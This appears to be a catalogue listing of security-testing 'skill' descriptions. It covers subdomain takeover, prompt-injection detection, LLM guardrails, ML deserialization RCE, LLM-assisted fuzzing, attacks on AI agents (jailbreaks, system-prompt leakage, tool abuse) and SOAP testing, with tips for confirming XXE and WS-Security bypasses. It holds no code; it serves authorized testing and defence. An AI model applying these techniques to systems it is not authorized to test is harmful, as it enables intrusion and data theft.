Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.
Detects prompt injection attacks targeting LLM-based applications using a multi-layered defense combining regex pattern matching for known attack signatures, heuristic scoring for structural anomalies, and transformer-based classification with DeBERTa models. The detector analyzes user inputs before they reach the LLM, flagging direct injections (system prompt overrides, role-play escapes, instruction hijacking) and indirect injections (encoded payloads, multi-language obfuscation, delimiter-based escapes). Based on the OWASP LLM Top 10 (LLM01:2025 Prompt Injection) and Simon Willison's prompt injection taxonomy. Activates for requests involving prompt injection detection, LLM input sanitization, AI security scanning, or prompt attack classification.
Testing machine-learning model files and model-loading services for remote code execution caused by insecure deserialization (pickle/PyTorch), unsafe config instantiation (Hydra), archive path traversal, and dangerous layer types during authorized penetration tests of AI/ML pipelines.
Implements input and output validation guardrails for LLM-powered applications to prevent prompt injection, data leakage, toxic content generation, and hallucinated outputs. Builds a security validation pipeline using NVIDIA NeMo Guardrails Colang definitions, custom Python validators for PII detection and content policy enforcement, and the Guardrails AI framework for structured output validation. The guardrails system intercepts both user inputs (blocking injection attempts, stripping PII, enforcing topic boundaries) and model outputs (detecting hallucinations, filtering toxic content, validating JSON schema compliance). Activates for requests involving LLM output validation, AI content filtering, guardrail implementation, or LLM safety enforcement.
Using LLMs to accelerate vulnerability research and pentest workflows — generating syntax-valid fuzzing seeds and evolving grammars, fine-tuned mutation dictionaries, parallel agent-based proof-of-vulnerability generation, and evidence-driven passive analysis of real HTTP traffic via the Burp MCP server. Covers concrete prompts, AFL++/ libFuzzer wiring, and Burp+Codex/Gemini/Ollama MCP setup.
Testing LLM-backed applications, chatbots, and AI agents for direct and indirect prompt injection, jailbreaks, system-prompt leakage, and tool/agent abuse during authorized penetration tests, using structured payload families and reliable confirmation signals.

SOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.
How to confirm a hit (avoid false negatives): XXE is confirmed by file contents (root://bin/) in the response or an OOB callback to your host; injection by DB/XPath error strings or boolean/timing differences; a real WS-Security bypass returns a successful SOAP body (no Fault) without valid credentials. Don't conclude negative until you've tried: blind/OOB XXE when output is suppressed, every operation (not just one), SOAPAction mismatch, and timestamp/credential stripping.
